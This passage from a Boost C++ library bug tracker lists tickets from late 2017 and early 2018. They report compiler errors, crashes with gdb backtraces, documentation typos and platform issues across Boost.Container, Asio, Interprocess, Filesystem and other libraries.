      boost::intrusive::tree_value_compare<std::__1::unique_ptr<int, std::__1::default_delete<int> > *, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::move_detail::identity<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, true> >, unsigned long, true, void> >, true>,
      boost::container::container_detail::allocator_destroyer<boost::container::new_allocator<boost::container::container_detail::tree_node<std::__1::unique_ptr<int, std::__1::default_delete<int> >, void *,
      boost::container::tree_type_enum::red_black_tree, true> > > >' requested here
         this->icont().clone_from
                       ^
./boost_1_66_0/boost/container/set.hpp:360:46: note: in instantiation of member function 'boost::container::container_detail::tree<std::__1::unique_ptr<int, std::__1::default_delete<int> >,
      boost::move_detail::identity<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::container::new_allocator<std::__1::unique_ptr<int,
      std::__1::default_delete<int> > >, boost::container::tree_opt<boost::container::tree_type_enum::red_black_tree, true> >::operator=' requested here
   {  return static_cast<set&>(this->base_t::operator=(BOOST_MOVE_BASE(base_t, x)));  }
                                             ^
/home/brd/tmp/test.cpp:7:10: note: in instantiation of member function 'boost::container::set<std::__1::unique_ptr<int, std::__1::default_delete<int> >, std::__1::less<std::__1::unique_ptr<int, std::__1::default_delete<int> > >,
      boost::container::new_allocator<std::__1::unique_ptr<int, std::__1::default_delete<int> > >, boost::container::tree_opt<boost::container::tree_type_enum::red_black_tree, true> >::operator=' requested here
    set2 = std::move(set1);
         ^
/home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/memory:2388:3: note: copy constructor is implicitly deleted because 'unique_ptr<int, std::__1::default_delete<int> >' has a user-declared move constructor
  unique_ptr(unique_ptr&& __u) noexcept
  ^
1 error generated.

#13404: boost::container::container_detail::forward_as_tuple conflicts with std::forward_as_tuple

Wed, 17 Jan 2018 17:06:13 GMT

Internals of libc++ make unqualified calls to forward_as_tuple; this may result in the "call ... is ambiguous" error if boost::container::container_detail is one of the associated namespaces for the call.

E.g. test.cpp:

#include <boost/container/set.hpp>
#include <tuple>
int main()
{
    boost::container::set<int> set;
    std::tuple_cat(std::make_tuple(set));
}

The terminal:

$ clang++-5.0 ~/tmp/test.cpp -std=c++14 -o test -stdlib=libc++ -isystem ./boost_1_66_0
In file included from /home/brd/tmp/test.cpp:1:
In file included from ./boost_1_66_0/boost/container/set.hpp:28:
In file included from ./boost_1_66_0/boost/container/detail/tree.hpp:36:
In file included from ./boost_1_66_0/boost/container/detail/node_alloc_holder.hpp:30:
In file included from ./boost_1_66_0/boost/container/detail/allocator_version_traits.hpp:26:
In file included from ./boost_1_66_0/boost/container/throw_exception.hpp:27:
In file included from /home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/string:470:
In file included from /home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/string_view:169:
In file included from /home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/__string:56:
In file included from /home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/algorithm:643:
In file included from /home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/memory:653:
/home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/tuple:1318:16: error: call to 'forward_as_tuple' is ambiguous
        return forward_as_tuple(_VSTD::forward<_Types>(_VSTD::get<_I0>(__t))...,
               ^~~~~~~~~~~~~~~~
/home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/tuple:1348:12: note: in instantiation of function template specialization 'std::__1::__tuple_cat<std::__1::tuple<>, std::__1::__tuple_indices<>,
      std::__1::__tuple_indices<0> >::operator()<std::__1::tuple<boost::container::set<int, std::__1::less<int>, boost::container::new_allocator<int>, boost::container::tree_opt<boost::container::tree_type_enum::red_black_tree, true> > >
      >' requested here
    return __tuple_cat<tuple<>, __tuple_indices<>,
           ^
/home/brd/tmp/test.cpp:8:10: note: in instantiation of function template specialization 'std::__1::tuple_cat<std::__1::tuple<boost::container::set<int, std::__1::less<int>, boost::container::new_allocator<int>,
      boost::container::tree_opt<boost::container::tree_type_enum::red_black_tree, true> > >>' requested here
    std::tuple_cat(std::make_tuple(set));
         ^
./boost_1_66_0/boost/container/detail/variadic_templates_tools.hpp:81:20: note: candidate function [with Values = <boost::container::set<int, std::__1::less<int>, boost::container::new_allocator<int>,
      boost::container::tree_opt<boost::container::tree_type_enum::red_black_tree, true> >>]
tuple<Values&&...> forward_as_tuple(Values&&... values)
                   ^
/home/brd/soft/clang+llvm-5.0.0-linux-x86_64-ubuntu14.04/bin/../include/c++/v1/tuple:1114:1: note: candidate function [with _Tp = <boost::container::set<int, std::__1::less<int>, boost::container::new_allocator<int>,
      boost::container::tree_opt<boost::container::tree_type_enum::red_black_tree, true> >>]
forward_as_tuple(_Tp&&... __t) _NOEXCEPT
^
1 error generated.

P.S. I wonder, why is boost::container::container_detail::forward_as_tuple needed at all, since it doesn't seem to be used outside of tests. Can it be removed?

#13402: Log format JUNIT generates invalid XML files with incorrect encoding

gallien@… — Wed, 17 Jan 2018 07:46:06 GMT

The encoding of the written JUNIT XML file is CP1252 compiled on Windows with Visual Studio 2013, but the encoding in XML is 'encoding="UTF-8"'. The output should be always converted to 'UTF-8' or the XML encoding in JUNIT file should be replaced by the encoding of the stream.

Example output file:

<?xml version="1.0" **encoding="UTF-8"**?>
<testsuite tests="0" skipped="0" errors="1" failures="2" id="0" name="Master_Test_Suite" time="44.222">
<properties>
<property name="platform" value="Win32"
<property name="compiler" value="Microsoft Visual C++ version 12.0"
<property name="stl" value="Dinkumware standard library version 610"
<property name="boost" value="1.66.0"
</properties>

#13401: Specialization of consuming_buffers for null_buffers declares wrong interface

Tue, 16 Jan 2018 21:23:04 GMT

The specialization for null_buffers has a typo on the name of the method total_consumed, it misses the final "d".

Pull request with the fix: https://github.com/boostorg/asio/pull/78

#13400: boost::archive::xml_iarchive Exception in destructor: "input stream error-No error"

Tue, 16 Jan 2018 14:09:06 GMT

The sample code:

#include <unordered_map> #include <boost/serialization/unordered_map.hpp> #include <boost/serialization/vector.hpp> #include <boost/serialization/nvp.hpp> #include <boost/archive/xml_oarchive.hpp> #include <boost/archive/xml_iarchive.hpp> #include <fstream> #include <iostream>

std::ifstream ifs("commandKeyToAction.xml"); auto newCommandKeyToAction = std::unordered_map<std::string, std::unordered_map<std::string, std::vector<std::string>>>();

boost::archive::xml_iarchive xmlIn(ifs); xmlIn >> boost::serialization::make_nvp("options", newCommandKeyToAction);

#13399: pthread_create segfaults when program is restarted after some time

ttomas.mikalauskas@… — Tue, 16 Jan 2018 08:35:32 GMT

Hi,

We are using boost 1.56 version on CentOS 7.4.1708 (Core)

This bug happens from time to time when we are restating application, while simulated multiple clients send message to the server.

[Switching to Thread 0x7fffeb6ac700 (LWP 27894)]
processMessageImpl (
    data_="STRING DATA"...) at main.cpp:564
564             if (!client->connected)
(gdb) bt full
#0  processMessageImpl (
    data_="CONTENT DATA DELETED"...) at main.cpp:564
        parseSucc = <optimized out>
        dataStream = {<std::basic_istream<char, std::char_traits<char> >> = {<std::basic_ios<char, std::char_traits<char> >> = {<std::ios_base> = {_vptr.ios_base = 0x7fffeb6ac700,
                static boolalpha = std::_S_boolalpha, static dec = std::_S_dec, static fixed = std::_S_fixed, static hex = std::_S_hex, static internal = std::_S_internal, static left = std::_S_left,
                static oct = std::_S_oct, static right = std::_S_right, static scientific = std::_S_scientific, static showbase = std::_S_showbase, static showpoint = std::_S_showpoint,
                static showpos = std::_S_showpos, static skipws = std::_S_skipws, static unitbuf = std::_S_unitbuf, static uppercase = std::_S_uppercase, static adjustfield = std::_S_adjustfield,
                static basefield = std::_S_basefield, static floatfield = std::_S_floatfield, static badbit = std::_S_badbit, static eofbit = std::_S_eofbit, static failbit = std::_S_failbit,
                static goodbit = std::_S_goodbit, static app = std::_S_app, static ate = std::_S_ate, static binary = std::_S_bin, static in = std::_S_in, static out = std::_S_out,
                static trunc = std::_S_trunc, static beg = std::_S_beg, static cur = std::_S_cur, static end = std::_S_end, _M_precision = 0, _M_width = 0, _M_flags = 3825362640,
                _M_exception = (std::_S_badbit | std::_S_eofbit | std::_S_failbit | unknown: 32760), _M_streambuf_state = (unknown: 3825235264), _M_callbacks = 0x6ee9a0, _M_word_zero = {
                  _M_pword = 0x7fffeb6abb30, _M_iword = 7268672}, _M_local_word = {{_M_pword = 0x0, _M_iword = 4528892}, {_M_pword = 0x0, _M_iword = 140737018779704}, {_M_pword = 0x0,
                    _M_iword = 140737351885008}, {_M_pword = 0x6ea448, _M_iword = 140737018597424}, {_M_pword = 0x0, _M_iword = 152}, {_M_pword = 0x100007f27820002, _M_iword = 0}, {_M_pword = 0x0,
                    _M_iword = 140733193388032}, {_M_pword = 0x4517b0 <tcpServer::handle_accept(session*, boost::system::error_code const&)>, _M_iword = 0}}, _M_word_size = 7268672,
                _M_word = 0x7fffe40266d0, _M_ios_locale = {static none = 0, static ctype = 1, static numeric = 2, static collate = 4, static time = 8, static monetary = 16, static messages = 32,
                  static all = 63, _M_impl = 0xffffffff, static _S_classic = 0x7ffff667be00 <(anonymous namespace)::c_locale_impl>, static _S_global = 0x7ffff667be00 <(anonymous namespace)::c_locale_impl>,
                  static _S_categories = 0x7ffff665f900 <__gnu_cxx::category_names>, static _S_once = 2}}, _M_tie = 0x7fffe40ca4c0, _M_fill = 30 '\036', _M_fill_init = false, _M_streambuf = 0x7fffeb6abbe0,
              _M_ctype = 0x6bf770, _M_num_put = 0x49182c <void boost::function1<void, std::string&>::assign_to<void (*)(std::string)>(void (*)(std::string))::stored_vtable+12>, _M_num_get = 0x1},
            _vptr.basic_istream = 0x7fffeb6ac700, _M_gcount = 0}, _M_stringbuf = {<std::basic_streambuf<char, std::char_traits<char> >> = {_vptr.basic_streambuf = 0x0, _M_in_beg = 0x7fffe40266d0 "",
              _M_in_cur = 0x7fffe4007540 "0\321I", _M_in_end = 0x6ee9a0 "\200\027", _M_out_beg = 0x7fffeb6abb30 "\002", _M_out_cur = 0x6ee940 "p\327k", _M_out_end = 0x0, _M_buf_locale = {static none = 0,
                static ctype = 1, static numeric = 2, static collate = 4, static time = 8, static monetary = 16, static messages = 32, static all = 63,
                _M_impl = 0x451afc <tcpServer::handle_accept(session*, boost::system::error_code const&)+844>, static _S_classic = 0x7ffff667be00 <(anonymous namespace)::c_locale_impl>,
                static _S_global = 0x7ffff667be00 <(anonymous namespace)::c_locale_impl>, static _S_categories = 0x7ffff665f900 <__gnu_cxx::category_names>, static _S_once = 2}}, _M_mode = (unknown: 0),
            _M_string = ""}}
        tree = {m_data = <error reading variable: Cannot access memory at address 0x98>, m_children = 0x9}
        spId = <error reading variable: Cannot access memory at address 0x26f8>
        url = ""
        client = 0x0
        v1_9Flag = <optimized out>
#1  0x0000000000434c8a in operator()<void (*)(std::basic_string<char>), boost::_bi::list0> (f=@0x7fffeb6abc70: 0x42f490 <processMessageImpl(std::string)>, a=<synthetic pointer>, this=0x7fffeb6abc78)
    at /usr/local/include/boost/bind/bind.hpp:253
No locals.
#2  operator() (this=0x7fffeb6abc70) at /usr/local/include/boost/bind/bind_template.hpp:20
No locals.
#3  asio_handler_invoke<boost::_bi::bind_t<void, void (*)(std::basic_string<char>), boost::_bi::list1<boost::_bi::value<std::basic_string<char> > > > > (function=...)
    at /usr/local/include/boost/asio/handler_invoke_hook.hpp:69
No locals.
#4  invoke<boost::_bi::bind_t<void, void (*)(std::basic_string<char>), boost::_bi::list1<boost::_bi::value<std::basic_string<char> > > >, boost::_bi::bind_t<void, void (*)(std::basic_string<char>), boost::_bi::list1<boost::_bi::value<std::basic_string<char> > > > > (context=..., function=...) at /usr/local/include/boost/asio/detail/handler_invoke_helpers.hpp:37
No locals.
#5  boost::asio::detail::completion_handler<boost::_bi::bind_t<void, void (*)(std::string), boost::_bi::list1<boost::_bi::value<std::string> > > >::do_complete (owner=0x6bf770, base=<optimized out>)
    at /usr/local/include/boost/asio/detail/completion_handler.hpp:68
        h = <optimized out>
        p = {h = <optimized out>, v = 0x0, p = 0x0}
        handler = {f_ = 0x42f490 <processMessageImpl(std::string)>, l_ = {<boost::_bi::storage1<boost::_bi::value<std::basic_string<char, std::char_traits<char>, std::allocator<char> > > >> = {a1_ = {
                t_ = "CONTENT DATA DELETED"...}}, <No data fields>}}
#6  0x000000000043ca00 in complete (bytes_transferred=<optimized out>, ec=..., owner=..., this=<optimized out>) at /usr/local/include/boost/asio/detail/task_io_service_operation.hpp:38
No locals.
#7  do_run_one (ec=..., this_thread=..., lock=..., this=0x6bf770) at /usr/local/include/boost/asio/detail/impl/task_io_service.ipp:372
        task_result = <optimized out>
        on_exit = {task_io_service_ = 0x6bf770, lock_ = 0x7fffeb6abcc0, this_thread_ = 0x7fffeb6abd30}
        more_handlers = true
#8  boost::asio::detail::task_io_service::run (this=0x6bf770, ec=...) at /usr/local/include/boost/asio/detail/impl/task_io_service.ipp:149
        this_thread = {<boost::asio::detail::thread_info_base> = {<boost::asio::detail::noncopyable> = {<No data fields>}, reusable_memory_ = 0x7fffe40983b0},
          private_op_queue = {<boost::asio::detail::noncopyable> = {<No data fields>}, front_ = 0x0, back_ = 0x0}, private_outstanding_work = 0}
        ctx = {<boost::asio::detail::noncopyable> = {<No data fields>}, key_ = 0x6bf770, value_ = 0x7fffeb6abd30, next_ = 0x0}
        lock = {<boost::asio::detail::noncopyable> = {<No data fields>}, mutex_ = @0x6bf7a0, locked_ = false}
        n = 70
#9  0x000000000043ffb5 in boost::asio::io_service::run (this=0x6bd770 <io_service>) at /usr/local/include/boost/asio/impl/io_service.ipp:59
        ec = {m_val = 0, m_cat = 0x7ffff7dda0d0 <boost::system::system_category()::system_category_const>}
        s = <optimized out>
#10 0x00007ffff6ed030a in thread_proxy () from /lib64/libboost_thread.so.1.56.0
No symbol table info available.
#11 0x00007ffff77bae25 in start_thread (arg=0x7fffeb6ac700) at pthread_create.c:308
        __res = <optimized out>
        pd = 0x7fffeb6ac700

// Some comments here
#0  processMessageImpl (
    data_="{\"CONTENT DATA DELETED"...) at main.cpp:564
#1  0x0000000000434c8a in operator()<void (*)(std::basic_string<char>), boost::_bi::list0> (f=@0x7fffeb6abc70: 0x42f490 <processMessageImpl(std::string)>, a=<synthetic pointer>, this=0x7fffeb6abc78)
    at /usr/local/include/boost/bind/bind.hpp:253
#2  operator() (this=0x7fffeb6abc70) at /usr/local/include/boost/bind/bind_template.hpp:20
#3  asio_handler_invoke<boost::_bi::bind_t<void, void (*)(std::basic_string<char>), boost::_bi::list1<boost::_bi::value<std::basic_string<char> > > > > (function=...)
    at /usr/local/include/boost/asio/handler_invoke_hook.hpp:69
#4  invoke<boost::_bi::bind_t<void, void (*)(std::basic_string<char>), boost::_bi::list1<boost::_bi::value<std::basic_string<char> > > >, boost::_bi::bind_t<void, void (*)(std::basic_string<char>), boost::_b
i::list1<boost::_bi::value<std::basic_string<char> > > > > (context=..., function=...) at /usr/local/include/boost/asio/detail/handler_invoke_helpers.hpp:37
#5  boost::asio::detail::completion_handler<boost::_bi::bind_t<void, void (*)(std::string), boost::_bi::list1<boost::_bi::value<std::string> > > >::do_complete (owner=0x6bf770, base=<optimized out>)
    at /usr/local/include/boost/asio/detail/completion_handler.hpp:68
#6  0x000000000043ca00 in complete (bytes_transferred=<optimized out>, ec=..., owner=..., this=<optimized out>) at /usr/local/include/boost/asio/detail/task_io_service_operation.hpp:38
#7  do_run_one (ec=..., this_thread=..., lock=..., this=0x6bf770) at /usr/local/include/boost/asio/detail/impl/task_io_service.ipp:372
#8  boost::asio::detail::task_io_service::run (this=0x6bf770, ec=...) at /usr/local/include/boost/asio/detail/impl/task_io_service.ipp:149
#9  0x000000000043ffb5 in boost::asio::io_service::run (this=0x6bd770 <io_service>) at /usr/local/include/boost/asio/impl/io_service.ipp:59
#10 0x00007ffff6ed030a in thread_proxy () from /lib64/libboost_thread.so.1.56.0
#11 0x00007ffff77bae25 in start_thread (arg=0x7fffeb6ac700) at pthread_create.c:308
#12 0x00007ffff5b9234d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:113

#13392: deadline_timer -> endless handler recursion, if it should have been cancelled.

Thu, 11 Jan 2018 10:25:23 GMT

Following http://www.boost.org/doc/libs/1_65_0/doc/html/boost_asio/reference/deadline_timer.html example, I made a modification to do a cyclic timer:

void MyClass::on_timeout()
{
// Here I rely on the documentation, which states that:
// basic_deadline_timer::expires_at (2 of 3 overloads) :
//
// **Any pending  asynchronous wait operations will be cancelled.**
//
// that is no need for
//
// if (error)
// {
//    return;
// }
   mTimer.expires_at(mTimer.expires_at() + boost::posix_time::seconds(2));
   mTimer.async_wait(on_timeout);
   mIoService.post(boost::bind(&MyClass::mDoWorkCallback, this));
}

Further I have

void MyClass::Restart()
{
// Here I rely on the documentation, which states that:
// basic_deadline_timer::expires_from_now (2 of 3 overloads) :
//
// **Any pending  asynchronous wait operations will be cancelled.**
//
   mTimer.expires_from_now(boost::posix_time::seconds(2));
   mTimer.async_wait(on_timeout);
}

What happens is not what I expect. If I don't call Restart() everything works fine, i.e. asyn_wait(handlers) are interrupted. But If I call once Restart(), and after the call expires_from_now is executed inside, the on_timeout handler is called in an endless recursion regardless the time value of the timer. For example, value is 5 seconds, but the handler is called many times in a millisecond (with operation aborted(995) as an error argument, i.e. its been continuously cancelled).

I also get once an error message when calling expires_from_now :

operation aborted(995) The I/O operation has been aborted because of
either a thread exit or an application request

which would mean OK to me : the handler was canceled. But nevertheless it continues to be executed.

The above behavior doesn't occur if I uncomment following code in the handler

if (error) {

return;

}

The above seems to me buggy. And to you ?

#13391: Typo in documentation

valeriykireev@… — Thu, 11 Jan 2018 08:20:59 GMT

Hello all,

This is small fix for doubled "between" in offset_ptr documentation.

Index: boost/interprocess/offset_ptr.hpp
===================================================================
--- boost/interprocess/offset_ptr.hpp	(revision 86799)
+++ boost/interprocess/offset_ptr.hpp	(working copy)
@@ -214,7 +214,7 @@
 }  //namespace ipcdetail {
 /// @endcond
-//!A smart pointer that stores the offset between between the pointer and the
+//!A smart pointer that stores the offset between the pointer and the
 //!the object it points. This allows offset allows special properties, since
 //!the pointer is independent from the address address of the pointee, if the
 //!pointer and the pointee are still separated by the same offset. This feature

---
Kind regards,
Valeriy Kireev <valeriykireev at gmail.com>,
Developer -- TuneIT Company.

#13390: Bootstrapping Boost 1.66 fails on Windows 10 using wingw gcc

hepler@… — Thu, 11 Jan 2018 04:46:31 GMT

I'm attempting to bootstrap boost 1.66 on a Windows 10 machine so I can use it with Code::Blocks and wxWidgets

It fails when running ./bootstrap.bat gcc

It appears to be failing to find two functions: UnregisterWait and RegisterWaitForSingleObject

Please see the attached images for error message and generated log

#13389: rbtree_best_fit.hpp:grow() if condition error

Thu, 11 Jan 2018 01:57:50 GMT

in file boost/interprocess/mem_algo/rbtree_best_fit.hpp:480 func:

void rbtree_best_fit<MutexFamily, VoidPointer, MemAlignment>::grow(size_type extra_size)
{
  ...
   if((m_header.m_size - old_border_offset) < MinBlockUnits){
      return;
   }
...
}

condition error. the if condition should be :

  if((m_header.m_size - old_border_offset) < MinBlockUnits*Alignment) {
    return;
  }

#13385: Docs for for_each() should be clearer about forbidding "any non-constant operation"

Tue, 09 Jan 2018 12:19:51 GMT

The docs for Range's (single-range) for_each() function specify the requirement:

UnaryFunction does not apply any non-constant operation through its argument.

I think this wording could it be clearer. Does it mean that the it mustn't modify the value passed to it? If not, I think it would benefit from rewording. If so, isn't that quite different to std::for_each(). If that's deliberate, I suggest it's worth a brief note highlighting and justifying the difference. Otherwise, I suggest it's worth fixing.

Thanks very much.

#13384: Captcha rejected all my attempts; ticket text lost

Tue, 09 Jan 2018 11:47:17 GMT

I just tried to create a new ticket. It had external links so I was forced to a captcha. I tried the captcha about 6 times and then gave up. It's quite possible I'm very bad at captcha but I didn't think I was *that* bad.

Also, it's very vexing to lose all the text you've just crafted. Please can the captcha pages include the plain text you're trying to submit below the captcha?

#13383: Doc for is_sorted() incorrectly states the predicate defaults to std::less_equal

Tue, 09 Jan 2018 11:32:09 GMT

#include <boost/algorithm/cxx11/is_sorted.hpp>
#include <iostream>
#include <vector>
int main () {
        std::vector<int> a        = { 1, 2, 2, 3 };
        std::cerr << "default   : " << std::boolalpha << boost::algorithm::is_sorted( a                      ) << "\n";
        std::cerr << "less      : " << std::boolalpha << boost::algorithm::is_sorted( a, std::less      <>{} ) << "\n";
        std::cerr << "less_equal: " << std::boolalpha << boost::algorithm::is_sorted( a, std::less_equal<>{} ) << "\n";
}

#13382: Bug in polygon OR operation with collinear points

k.daloukas@… — Mon, 08 Jan 2018 15:14:40 GMT

When OR operation is performed between 2 non-overlapping polygons that contain collinear points with the same y coordinate, the resulting set is empty. However, if collinear points are removed, the resulting set contains the 2 polygons.

If generic polygon_set_data objects are used, the OR operation works fine. The problem appears when polygon_90_set_data objects are used in order to increase efficiency of boolean operations.

#13379: covered_by not implemented for (Box, MultiPolygon)

Thu, 04 Jan 2018 14:27:36 GMT

If I remember correctly, Barend mentioned in some email conversation that this should actually be implemented.

#13375: Crash with python 3.6 on Mac OS X 10.12 (Sierra)

Wed, 03 Jan 2018 11:41:51 GMT

Hello All,

I'm experiencing a crash in boost-python with python 3.6 on OS X.

I'm trying to wrap the open-source image processing library pink (www.pinkhq.com). This has been working well for some time with python 2.7 (on OS X, but also Linux and Windows), but I'd like to move to python 3.x

I've successfully wrapped this library with python 3.6 on Linux, but it crashes on OS X :

Process:               python3.6 [98793]
Path:                  /opt/anaconda/*/python3.6
Identifier:            python3.6
Version:               ???
Code Type:             X86-64 (Native)
Parent Process:        ??? [98792]
Responsible:           python3.6 [98793]
User ID:               501
Date/Time:             2018-01-03 12:09:43.172 +0100
OS Version:            Mac OS X 10.12.6 (16G29)
Report Version:        12
Anonymous UUID:        87D66E9B-D5BC-7C41-9079-8F7CB5C5E1DF
Time Awake Since Boot: 240000 seconds
System Integrity Protection: enabled
Crashed Thread:        0  Dispatch queue: com.apple.main-thread
Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x00000000000000a9
Exception Note:        EXC_CORPSE_NOTIFY
Termination Signal:    Segmentation fault: 11
Termination Reason:    Namespace SIGNAL, Code 0xb
Terminating Process:   exc handler [0]
VM Regions Near 0xa9:
-->
    __TEXT                 000000010f87a000-000000010fb25000 [ 2732K] r-x/rwx SM=COW  /opt/anaconda/*/*.6
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   python                        	0x000000010fa4f28d visit_decref + 13
1   python                        	0x000000010f920947 tupletraverse + 55
2   python                        	0x000000010fa4e0f3 collect + 291
3   python                        	0x000000010fa4f8b6 _PyObject_GC_Alloc + 310
4   python                        	0x000000010f9217d5 PyTuple_New + 277
5   libboost_python3.dylib        	0x0000000113664d2a boost::python::objects::function::function(boost::python::objects::py_function const&, boost::python::detail::keyword const*, unsigned int) + 714 (errors.hpp:44)

This crash seems to indicate the problem is in libboost_python ; Unfortunately I cannot do much more at this point because gdb is not allowing me to set breakpoints and I don't know why.

However, does this ring a bell with anyone ? can anyone offer suggestions ? All the best.

#13374: Boykov Kolmogorov warning with float

cyril.novel@… — Wed, 03 Jan 2018 11:22:25 GMT

In boykov_kolmogorov_max_flow.hpp, some values put in property_map are integer :

l.176             put(m_res_cap_map, from_source, 0);
l.190              put(m_dist_map, current_node, 1);
l.196              put(m_res_cap_map, to_sink, 0);
l.202              put(m_dist_map, current_node, 1);
l.208              put(m_res_cap_map, from_source, 0);
l.217            put(m_dist_map, current_node, 1);
l.228            put(m_dist_map, current_node, 1);

It causes a C4244 warning in property_map/property_map.hpp (l.310) when using floating distance and floating cost. An easy way to prevent this is to patch as follow:

l.176             put(m_res_cap_map, from_source, tEdgeVal(0));
l.190              put(m_dist_map, current_node, tDistanceVal(1));
l.196              put(m_res_cap_map, to_sink, tEdgeVal(0));
l.202              put(m_dist_map, current_node, tDistanceVal(1));
l.208              put(m_res_cap_map, from_source, 0);
l.217            put(m_dist_map, current_node, tDistanceVal(1));
l.228            put(m_dist_map, current_node, tDistanceVal(1));

Compiler: VS2017

#13372: Boost Preprocessing: compiler error: macro "BOOST_PP_VARIADIC_ELEM_2" requires 4 arguments, but only 2 given

Mon, 01 Jan 2018 19:30:49 GMT

The following code produces the following compiler error when compiled with gcc 7.2.0 or clang 3.8.0

error: macro "BOOST_PP_VARIADIC_ELEM_2" requires 4 arguments, but only 2 given

#include <boost/preprocessor.hpp>
#define CREATE_ENUM_ELEMENT(elementTuple)												\
    BOOST_PP_IF(BOOST_PP_EQUAL(BOOST_PP_TUPLE_SIZE(elementTuple), 3),                   \
        BOOST_PP_TUPLE_ELEM(0, elementTuple) = BOOST_PP_TUPLE_ELEM(2, elementTuple),    \
        BOOST_PP_TUPLE_ELEM(0, elementTuple)                                            \
    ),
enum class MyEnum {
	CREATE_ENUM_ELEMENT((El1))
};
int main() {
	return 0;
}

(online demo: http://coliru.stacked-crooked.com/a/f01351ee7a0ca55d )

#13369: [Windows] Cannot handle symbolic links

0x0c0ff33.1523@… — Sat, 30 Dec 2017 07:26:05 GMT

I wanted to port my application from Linux to Windows, but shortcut handling is not working.

Symlink creation, resolution and detection is not possible on my Windows 10 (Version 1709).

Tested with Boost 1.66.0 and 1.64.0.

Compiled the Boost Libraries with MSVC (Version 19.10.25019 for x86 and x64).

Getting the exception "boost::filesystem::create_symlink: A required privilege is not held by the client"

Example:

#include <boost/filesystem.hpp>
namespace fs = boost::filesystem;
int main(){
	try{
		fs::create_symlink("/path/to_target", "/path/to/link");
	}
	catch(const std::exception& err){
		std::cerr << err.what() << '\n';
	}
}

Also boost::fileystem::canonical() is not working for me. Tested with extensions ".lnk" and ".url" and without extension, gives me the path to the symbolic link itself (with .lnk), otherwise path not found.

int main(){
	fs::path path = "/path/to/shortcut";
	for(const auto& ext : {"", ".lnk", ".url"}){
		try{
			std::cout << fs::canonical(path.string() + ext) << '\n';
		}
		catch(const std::exception& err){
			std::cerr << err.what() << '\n';
		}
	}

Also symlinks cannot be detected by fs::is_symlink() on my Windows system.

int main(){
	fs::path path = "/path/to/shortcut";
	for(const auto& ext : {"", ".lnk", ".url"}){
		auto s = fs::symlink_status(path.string() + ext);
		std::cout << (s.type() == fs::file_type::symlink_file) << ',' << fs::is_symlink(s) << '\n';
	}
}

Returns always false.

#13368: consuming_buffers.hpp: parse error in template argument list

anonymous — Thu, 28 Dec 2017 15:34:31 GMT

.../boost/boost/boost/asio/detail/consuming_buffers.hpp: In member function ‘boost::asio::detail::consuming_buffers<Buffer, Buffers, Buffer_Iterator>::prepared_buffers_type boost::asio::detail::consuming_buffers<Buffer, Buffers, Buffer_Iterator>::prepare(std::size_t)’:
.../boost/boost/boost/asio/detail/consuming_buffers.hpp:105:50: erreur: parse error in template argument list
     while (next != end && max_size > 0 && result.count < result.max_buffers)
                                                  ^

Context: Upgrade from 1_65_1 to 1_66

Ubuntu 16.04 LTS / g++ v 5.4.0
CentOS 7 / g++ v 4.8.5

#13367: lockfree need update

PhoebeHui — Tue, 26 Dec 2017 06:50:35 GMT

The latest lockfree contains the fix: https://github.com/boostorg/lockfree/commit/582b27bf0b56a64af16ceda0a275cea2c87381ad, need update the reference in boost.

#13364: xxx please delete - it was my fault xxx

anonymous — Mon, 25 Dec 2017 23:52:32 GMT

The steady_timer is working fine when it is started in the executeable. By starting the steady_timer in the dll, the timer expires immediately. I think this is a bug, isn't it?

#13363: locale not compatible(not compilable) with c++17 mode in VS2017

aleksander.matveyev@… — Sun, 24 Dec 2017 14:56:21 GMT

Trying config and compile boost 1.66 with c++17 mode in vs2017 (v15.5.2), got a lot of errors in build locale lib.

There is config for config c++17 mode for vs2017

b2 --stagedir=./stage/win32 --without-mpi --without-python --without-coroutine --build-type=complete --toolset=msvc-14.1 cxxstd=17 -j8

#13361: Host boost.org using HTTPS

anonymous — Sun, 24 Dec 2017 13:56:12 GMT

For security reasons, it would be good if all Boost websites are hosted using HTTPS so that all traffic is encrypted and authenticated.

#13360: std::numeric_limits methods fail to compile in C++11 mode

b7.10110111@… — Sun, 24 Dec 2017 12:37:40 GMT

The following code compiles fine in C++03 mode, but fails in C++11 mode. This happens in boost 1.66.0, but didn't happen in 1.63.0.

#include <boost/multiprecision/float128.hpp>
int main()
{
    std::numeric_limits<boost::multiprecision::float128>::min();
}

Similar problem with some other methods — those which return without explicit construction of number_type.

I'm compiling with g++ using the following command line:

g++ -std=c++11 boost-test.cpp -o boost-test -fext-numeric-literals -lquadmath

The compiler prints the following error:

In file included from boost-test.cpp:1:0:
/usr/include/boost/multiprecision/float128.hpp: In instantiation of ‘static std::numeric_limits<boost::multiprecision::number<boost::multiprecision::backends::float128_backend, ExpressionTemplates> >::number_type std::numeric_limits<boost::multiprecision::number<boost::multiprecision::backends::float128_backend, ExpressionTemplates> >::min() [with boost::multiprecision::expression_template_option ExpressionTemplates = (boost::multiprecision::expression_template_option)0u; std::numeric_limits<boost::multiprecision::number<boost::multiprecision::backends::float128_backend, ExpressionTemplates> >::number_type = boost::multiprecision::number<boost::multiprecision::backends::float128_backend, (boost::multiprecision::expression_template_option)0u>]’:
boost-test.cpp:4:59:   required from here
